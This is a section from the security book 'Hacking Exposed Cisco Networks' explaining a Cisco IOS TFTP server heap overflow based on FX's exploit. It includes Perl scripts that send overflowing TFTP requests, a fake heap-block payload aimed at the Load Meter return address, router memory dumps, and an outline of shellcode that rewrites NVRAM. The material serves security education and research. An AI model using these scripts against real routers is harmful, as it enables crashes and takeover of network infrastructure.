AN EXPLOITATION PRIMER: IOS TFTP BUFFER OVERFLOW

Let's move from theory to practice and illustrate how the described memory structures can be abused using the FX Cisco IOS Trivial File Transfer Protocol (TFTP) server exploit (the UltimaRatioVegas exploit) as an example. This exploit is described in detail in the infamous Phrack magazine, at http://www.phrack.org/show.php?p=60&a=7 . In accordance with the SecurityFocus information ( http://www.securityfocus.com/bid/5328/exploit ), to cause an overflow we need to query a file that is longer than 700 symbols from the vulnerable router's TFTP server.

To illustrate this procedure, here's a short Perl script:

 #!/usr/bin/perl       #  Cisco TFTP Server remote Buffer Overflow example script  use IO::Socket;       $server = "192.168.77.86";       $port = "69";      my $data = "A"; # Data      my $op = "01"; #  Opcode to Get file  my $num=700;      my $file =$data x $num;      tftp($file,$op);      sub tftp {       my ($file,$op) =@_;       my $mode = "netascii";              my $pkt = pack("n a* c a* c", $op, $file, 0, $mode, 0);              my $sock = IO::Socket::INET->new(Proto => 'udp');              send($sock,$pkt,0,pack_sockaddr_in($port,inet_aton($server)));              close $sock;      } 

When we ran this against a test router the first time, nothing happened . Perhaps the IOS version on that router was not vulnerable?

 c2503a>show version      Cisco Internetwork Operating System Software      IOS (tm) 2500 Software (C2500-I-L), Version 11.2(2.5), MAINTENANCE INTERIM SOFTE      Copyright (c) 1986-1996 by cisco Systems, Inc.      Compiled Tue 17-Dec-96 04:47 by ajchopra      Image text-base: 0x03021A64, data-base: 0x00001000      ROM: System Bootstrap, Version 5.2(5), RELEASE SOFTWARE      ROM: 3000 Bootstrap Software (IGS-RXBOOT), Version 10.2(5), RELEASE SOFTWARE (f) 

It looks like that in accordance with the SecurityFocus advisory, the router must be exploitable, but something has gone wrong in this example. We tried it one more time, and it worked. Apparently, the advisory did not precisely formulate the vulnerability: two packets must be sent instead of one. While experimenting with the testing router, we also discovered that the length of the queried file could be less than 700 symbols. In practice, this means that the attacker must send two separate TFTP requests , with the requested file length being not less than 332 symbols.

Taking this into account, we reran the testing script. This is what we saw at the target router console:

 TFTP: read request from host 192.168.77.8(32802) via Ethernet0      validblock_diagnose, code = 1      current memory block, bp = 0xFC2CC,      memory pool type is Processor      data check, ptr = 0xFC2F0      next memory block, bp = 0xFD52C,      memory pool type is Processor      data check, ptr = 0xFD550      previous memory block, bp = 0xFB06C,      memory pool type is Processor      data check, ptr = 0xFB090      %SYS-3-OVERRUN: Block overrun at FC2CC (redzone 41414141)      -Traceback= 314172A 314246E 3168826 3150F3E 31A7664      %SYS-6-MTRACE: malloc: addr,pc          FB090,3167F6A     4BFA0,31413F6      4BF00,31413F6     4BEAC,33DB13C          4BE0C,31413F6     4BC08,315607C      FA898,315606A     4BB7C,31413F6      %SYS-6-MTRACE: free: addr,pc          FB090,3168810     4BF00,314B3B6      4BFA0,314AEAA     F8718,30E781A          494F4,3151DD2     F6EA4,30FB554      F9CB8,30FBC7A     F6EA4,30FB554      %SYS-6-BLKINFO: Corrupted redzone blk FC2CC, words 2334, alloc 3167F6A, InUse, 1      %SYS-6-MEMDUMP: 0xFC2CC: 0xAB1234CD 0x1C 0x4BC08 0x31A7BF2      %SYS-6-MEMDUMP: 0xFC2DC: 0x3167F6A 0xFD52C 0xFB080 0x8000091E      Exception: Software forced crash at 0x3152ABA (PC) 

Here's a brief summary of what happened. Since a picture is worth a thousand words, have a look at Figure 8-5, which demonstrates our data overwriting the REDZONE value.

image from book
Figure 8-5: The REDZONE overwriting

Next, we need to determine how IOS controls the block field and which processes are involved. Our earlier mention of the show processes IOS command was no accident ; take a closer look at the processes with PID 1 and PID 6:

 c2503a#show processes      <skip>        PID   QTy      PC Runtime (ms)     Invoked     uSecs     Stacks     TTY Process        1 Cwe 80434F9C          0             2          0      5800/6000     0 Chunk Manager        6 Lst 80444AE8       238323         39289       6065    5768/6000     0 Check heaps      <skip> 

The Chunk Manager is the process that operates with block fragments. Imagine that a process needed several small memory fragments of the same size . It will grab a memory block from an appropriate memory poll and pass it to the Chunk Manager to get the needed fragments. This saves memory, since all used fragments do not possess the block header.

One of the undocumented IOS commands (see Appendix C) allows us to find out more about Chunk Manager operation. This command is show chunk and its output is presented here:

 c2600#show chunk      Chunk Manager:       404 chunks created, 159 chunks destroyed       234 siblings created, 158 siblings trimmed      Chunk element Block Maximum Element Element Total      cfgsize      Ohead     size      element     inuse     freed     Ohead Name         16         0        20044     995           13       982       4080  Managed Chunk 0x82AF4AC8         16         4        10044     413          413         0       3392  List    Elements 0x82AF9914         16         4        14008     578           30       548       4716  (sibling) 0x82FD643C         16         4        10044     413          407         6       3392  (sibling) 0x82B0E7C0         16         4        10044     413          413         0       3392  (sibling) 0x82B10EFC                Total                 1817         1263        554      14892         56         0         5044      81           19         62       464  List Headers 0x82AFC050         16         4         1544      59            0         59       556  messages 0x82AFD45C         20         0         1544      59            0         59       320  Watched messag 0x82AFDA64        108         0        10044      88           88          0       496  Watched Queue 0x82B05BE8        108         0        11436     100            5         95       592  (sibling) 0x82FF7DC4 

You can see that the Chunk Manager operates with the list of fragments (chunks) similar to the way the IOS Pool Manager operates with memory blocks. However, note a significant difference: the fragments do not have headers. Since a process is likely to use fragments for storing small variables in the stack, we can hypothesize that the "stack overflowoverwrite return address on the stack" exploitation type should be possible without any sophisticated games with the IOS memory.

Defeating Check Heaps

It is time to go back to our heap and the TFTP vulnerability. Another process shown with the preceding show processes command output is the Check Heaps process. This process was outlined by Cisco engineers in the Tech Notes ID 15102 ( http://www.cisco.com/warp/public/63/showproc_cpu.html ): "Check Heaps. Checks the memory every minute. It forces a reload if it finds processor corruption."

In plain language, this means that if during a routine check a memory block is found to be damaged, IOS will reload. Note that the check will also happen every time memory blocks are allocated or become free.

So how did FX sort out the problem of bypassing these memory checks? Let's review the existing stack protection methodnamely the canary -based techniques first. These techniques, such as the Immunix distribution StackGuard and the /GS flag in the Microsoft Visual Studio compiler, place special values on the stack. Then they try to detect stack overflows by checking to see whether these values change when they shouldn't. The IOS REDZONE can be compared to a canary word with a twist: we are dealing with heap, not stack. FX has pointed out that games with the Check Heaps process timeout (which checks memory once every minute) are not interesting. Instead, he concentrated on deceiving this process by overwriting the following block header and creating a "fake block", as illustrated in Figure 8-6.

image from book
Figure 8-6: A fake memory block used to trick Check Heaps

FX has also discovered that the PID and Alloc ptrs fields are not significant for memory checks. Since REDZONE and MAGIC are static values, the hardest task appears to be filling up the NEXT ptr and PREV ptr fields during the exploitation.

So what does the TFTP server process do when a request is received? First, it asks memory blocks for storing the filename from the Pool Manager. Then it frees the memory using the C free () function. The IOS takes into account that the blocks are now freed by merging the nearby blocks and updating the pointers. This process is shown in Figure 8-7.

image from book
Figure 8-7: Memory block freeing

You can see that the NEXT1 pointer is replaced by NEXT2. For an attacker, it is interesting that the overwrite address in the memory of the NEXT1 pointer is calculated using the PREV2 pointer by adding the header offset (20 bytes in our case) to the PREV2 address.

FX has described the prototype of this function in C:

 Host->prev=next2;      (Host->next2)+prevofs=prev2;      delete(Host_block); 

Our case's similarity with both Windows and Linux is apparent. Just as in Windows or Linux, by controlling the values in both the NEXT and PREV pointers, we can overwrite any memory location accessible for writing. This exploitation method is called an uncontrolled pointer exchange . FX has found out that the PREV pointers in a freeing block are checked. Since the previous block is inspected earlier, its value can be obtained from system messages generated by the system crash. The pointers in the already freed block are not checked, and the only requirement is that they must point at some writable memory region.

So our main task is to obtain the correct values of the NEXT and PREV fields when creating the fake block. Let's see how FX has sorted out this problem. First, he found the address of the block allocated for the Process Array using the show memory processor allocating-process command output. This address is pointed at by the PREV ptr process stack, as emphasized in this output. (Please ignore the highlighted values in this code; we will discuss them soon.)

 c2503a#show memory processor allocating-process                Processor memory       Address   Bytes Prev.    Next    Ref    Alloc Proc     Alloc PC What      46288       1056 0        466D0     1  *Init*           313EC02 List Elements      466D0       2656 46288    47158     1  *Init*           313EC02 List Headers      47158       2528 466D0    47B60     1  *Init*           30F27B0 TTY data      47B60       2000 47158    48358     1  *Init*           30F4A20 TTY Input Buf      48358        512 47B60    48580     1  *Init*           30F4A50 TTY Output Buf      48580       2000 48358    48D78     1  *Init*           31514EA Interrupt Stack      48D78         44 48580    48DCC     1  *Init*           33DB13C *Init*      48DCC       1056 48D78    49214     1  *Init*           313EC02 messages      49214         84 48DCC    49290     1  *Init*           314AF5A Watched Boolean      49290         84 49214    4930C     1  *Init*           314AF5A Watched Boolean      4930C         84 49290    49388     1  *Init*           314AF5A Watched Boolean      49388         84 4930C    49404     1  *Init*           314AF5A Watched Boolean  49404       1032 49388    49834     1  *Init*           3155CC2 Process Array      49834       1000 49404    49C44     1  Load Meter       315606A Process Stack  49C44        476 49834    49E48     1  Load Meter       315607C Process      49E48        120 49C44    49EE8     1  Load Meter       315609C Process Events      49EE8         44 49E48    49F3C     1  *Init*           33DB13C *Init*      49F3C       1056 49EE8    4A384     1  *Init*           313EC02 List Elements      4A384       1056 49F3C    4A7CC     1  *Init*           313EC02 List Elements      <skip> 

As you can see, the block we are searching for is positioned at the 0x49404 address.

Now let's view this particular block using the show memory command:

 c2503a#show memory 0x49404      00049400:          AB1234CD FFFFFFFE 00000000     +.4M...~....      00049410: 03155C70 03155CC2 00049834 0004939C ..\p..\B...4....      00049420: 80000206 00000001 00000000 0000001B ................      00049430: 00049C68 0004B29C 0007BCB8 0007C834 ...h..2...<8..H4      00049440: 00084C74 00088754 00089970 000BFDE0 ..Lt...T...p..}`      00049450: 000C17DC 000C2AF0 000C3DB0 000C5280 ...\..*p..=0..R.      00049460: 000C5DFC 000C68EC 000C7EB4 000DA59C ..]..hl..~4..%.      00049470: 000E71C0 000E7BBC 000E860C 000E90FC ..q@..{<.......      00049480: 000E9BEC 000EA6DC 000F3884 000F3F8C ...l..&\..8...?.      00049490: 000F4A7C 000F67B4 000F8A3C 00000000 ..J..g4...<....      000494A0: 00000000 00000000 00000000 00000000 ................ 

In this output, you can see real-life IOS memory blocks. What presents the most interest in the output for our particular exploitation case is

  • The Process Array, in which the processes are sorted in accordance to their IDs.

  • The process that is constantly present and works in IOS with the lowest activity. If we are going to interfere with the data structures of another process, we don't want it to be highly active; at the same time it shouldn't be static.

The best candidate for such process is the Load Meter, a process that looks after the system load and computes the load average for different processes every 5 seconds, in accordance with http://www.cisco.com/warp/public/63/showproc_cpu.html . For a starter, let's check the Load Meter PID:

 c2503a#show process      CPU utilization for five seconds: 12%/9%; one minute: 11%; five minutes: 9%      PID QTy        PC Runtime  (ms)    Invoked   uSecs     Stacks TTY Process        1 Csp   3155460          4396       9474     464   736/1000   0 Load Meter 

So the PID of this process is 1, or 0x0000001 in hex. In the Process Array, this PID (highlighted in the previously shown show memory 0x49404 output) points at the 0x00049C68 address (also highlighted in that output). We will follow this address:

 c2503a#show memory 0x00049C68      00049C60:                   00049858  00049C08  ...X....      00049C70: 00001388 03155460 00000000 00000000 ......T ........      00049C80: 00000000 00000000 03148BD2 00000000 ...........R....      00049C90: 00000000 00000000 20000000 00000000 ........ .......      00049CA0: 00000000 00000000 00010000 00000100 ................      00049CB0: 00000000 00000000 00070000 00010315 ................      00049CC0: 54600314 A3400000 00FC0000 00FC0000 T ..#@........      00049CD0: 00000000 00000000 00000000 031C0000 ................      00049CE0: 00000000 00000000 13B00000 000002E2 .........0.....b      00049CF0: 2A640000 25C50000 00000315 4E7A0000 *d..%E......Nz..      00049D00: 00010000 00000000 00000000 00050000 ................      00049D10: 00000000 03E80000 03E80004 717C0000 .....h...h..q..      00049D20: 00000000 00000000 00000000 00000000 ................      00049D30: 00000000 0000000E A7AA000F 405A0004 ........'*..@Z..      00049D40: 9C680003 24E0000C 18BA000F 406A0003 .h..$`...:..@j..      00049D50: 28680004 9D9E0000 000002E2 3DEC0000 (h.........b=l..      00049D60: 42300000 00000000 00000004 9D460000 B0...........F..      00049D70: 00000000 00000000 00000000 42800004 ............B...      00049D80: 9C680000 00000000 00000004 9D460004 .h...........F..      00049D90: 9C680000 00000000 00000001 42D00000 .h..........BP.. 

The first entry in this output is the process stack (0x0049858). The second element is the current stack pointer of this process (0x00049C08). Where does it point to?

 c2503a# show memory 0x00049C08      00049C00:                   00049C24  0314A3DA  ...$..#Z      00049C10: 000324E0 00049D36 00000000 00000000 ..$ ...6........      00049C20: 00000000 00049C30 03155468 00001388 .......0..Th.... 

This is a classic C calling convention: first we find the former frame pointer and then we find the return address (the pointer is highlighted on the output). The address we are looking for is 0x00049c0c. And this is our overwrite targetthe Load Meter return address.

Searching for the address the way we have described is a bit daunting, isn't it? This is why FX wrote the IOStack.pl script to read out the IOS stack return address location. You can download this script at http://www.phenoelit.de/ultimaratio/download.html . An example of its output is shown here:

 arhontus $ ./IOStack.pl -d 192.168.77.86 -p 123456 -e 123456      ************************************************************************      IOSSTRING: IOS (tm) 2500 Software (C2500-I-L), Version 11.2(2.5),      MAINTENANCE INTERIM SOFTWARE      IMAGE:    flash:/c2500-i-l.112-2.5      MEMORY:   16384K/2048K      ARRAY:    49404      PID  RECORD       STACK       RETURNA     RETURNV     NAME        1  00049C68     00049C08  00049c0c  0314A3DA    Load Meter        2  000F72C8     00000DF4    00000e20    03156A84    Virtual Exec        3  0007BCB8     0007BC4C    0007bc50    0314A49C    Check heaps        4  0007C834     0007C7C8    0007c7cc    0314A9FA    Pool Manager        5  00084C74     00084C00    00084c04    0314A49C    Timers        6  00088754     000886DC    000886e0    0314A9FA    ARP Input        7  00089970     00089908    0008990c    0314A9FA    SERIAL A'detect 

The needed return address is highlighted in the output; however, as you can see, you can survive without this script especially if a previously undocumented Cisco IOS show stack command is employed to remove all these vexing steps by running it with Load Meter PID as an argument:

 c2503a#show stack 1      Process 1:  Load Meter        Stack segment  0x49858  -  0x49C40  <BIU>      <BIU> FP: 0x49C24, RA:  0x314A3DA  <BIU>      <BIU> FP: 0x49C30, RA: 0x3155468       FP: 0x0, RA: 0x315680C 

Suddenly everything becomes simplewith a single command, an attacker can obtain the stack frame pointer. Then it is quite easy to find the address for the stack frame pointer, in our specific case 0x314A3DA.

Now let's construct our fake memory block using the guidelines provided by FX:

 #!/usr/bin/perl      #Cisco 2500-3 TFTP Server remote Buffer Overflow example script      use IO::Socket;      $server = "192.168.77.85";      $port = "69";      my $data = "A"; # Data      my $op = "01"; # Opcode to Get file      my $num=332;      my $fakeblock =$data x $num; # Overflow data      $fakeblock .="\xFD\x01\x10\xDF"; # RED      $fakeblock .="\xAB\x12\x34\xCD"; # MAGIC      $fakeblock .="\xFF\xFF\xFF\xFF"; # PID      $fakeblock .="\x80\x81\x82\x83"; #      $fakeblock .="\x08\x0C\xBB\x76"; # NAME      $fakeblock .="\x08\x0C\xBB\x76"; # NAME      $fakeblock .="\x80\x8a\x8b\x8c"; #      $fakeblock .="\x00\x0F\xC2\xE0"; # NEXT (Point to fake block )      $fakeblock .="\x00\x0F\xB0\x6C"; # PREV (Obtained from system message)      $fakeblock .="\x7F\xFF\xFF\xFF"; # SIZE      $fakeblock .="\x01\x01\x01\x01"; # Ref      $fakeblock .="\xA0\xA0\xA0\xA0"; # padding      $fakeblock .="\xDE\xAD\xBE\xEF"; # MAGIC2      $fakeblock .="\x8A\x8B\x8C\x8D"; #      $fakeblock .="\xFF\xFF\xFF\xFF"; # padding      $fakeblock .="\xFF\xFF\xFF\xFF"; # padding      $fakeblock .="\x00\x04\x9C\x24"; # FREE NEXT (point to your code in the buffer)      $fakeblock .="\x00\x04\x9C\x0C"; # FREE PREV (Load Meter return address)      my $single ="FX";      tftp($fakeblock,$op);      sleep(6);      tftp($single,$op);      sub tftp {      my ($file,$op) =@_;      my $mode = "netascii";      my $pkt = pack("n a* c a* c", $op, $file, 0, $mode, 0);      my $sock = IO::Socket::INET->new(Proto => 'udp');      send($sock,$pkt,0,pack_sockaddr_in($port,inet_aton($server)));      close $sock;      } 

So the fake block is finally constructed . Note that such a methodology will not be successful in every case for a variety of reasons:

  • In the case of the example TFTP exploit, the fake block is transmitted as a filename using ASCII characters only.

  • You may encounter the null byte. In the shown example of the fake memory block, we can see quite a few of them.

  • The typical shellcode tricks just won't work.

You can try to use the return address of another process, such as the IP Input mentioned in the UltimaRatioVegas exploit of FX, but even that might be unsuccessful .

This was the case when we tried this method against a Cisco 2503 router, where the whole area of the executable processes stacks was in the address space, starting from 0x00. Fortunately for crackers, this issue appeared to be specific for that particular router model and the IOS image used. However, there is another problem. The addresses of both the NEXT and PREV pointers of a used block can be dynamic even for a single selected IOS image. You can find our research devoted to the methods of bypassing this problem at the companion web site ( http://www.hackingexposedcisco.com ). There you can also find a 2500.pl script that uses an integer overflow in the NEXT pointer, described by FX in multiple presentations, which allowed us to compromise a 2500 router as long as the attacker was on the same subnet with the target.

Here we assume that the fake memory block construction went fine, and after feeding it to the router, something like this is returned:

 *** EXCEPTION ***      illegal instruction interrupt      program counter = 0x03042A      status register = 0x2700      vbr at time of exception = 0x4000000 

This indicates that the shellcode time has arrived. A standard shellcode actively uses system calls or library functions to perform some port binding and provide a remote shell to the attacker. The shellcode provided by FX in his publications works only on rather ancient routers, such as the Cisco 2503 we used in our testing. FX has completely abandoned the use of IOS library functions, and IOS does not support transparent system calls.

Following is a brief summary of the algorithm used by FX's shellcode, which is likely to be of mainly historical significance nowadaysat least from the exploit developer's viewpoint:

  1. Remove the write protection for Non-volatile Random Access Memory (NVRAM).

  2. Write a new router configuration file into NVRAM.

  3. Correct the checksum of the modified configuration file.

  4. Reload the router so that the changes will take place.

On modern Cisco routers, it is not possible to remove write protection for NVRAM. This is why we mentioned that this shellcode would work only on ancient routers (but still quite a lot of such hosts are out thereafter all, if it works, why upgrade it?).

The main value of the reviewed research by FX is his methodology of working with IOS memory. The method based on the creation of a fake memory block is still relevant and might be used by attackers for years to come.



Hacking Exposed Cisco Networks
Hacking Exposed Cisco Networks: Cisco Security Secrets & Solutions
ISBN: 0072259175
EAN: 2147483647
Year: 2005
Pages: 117

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net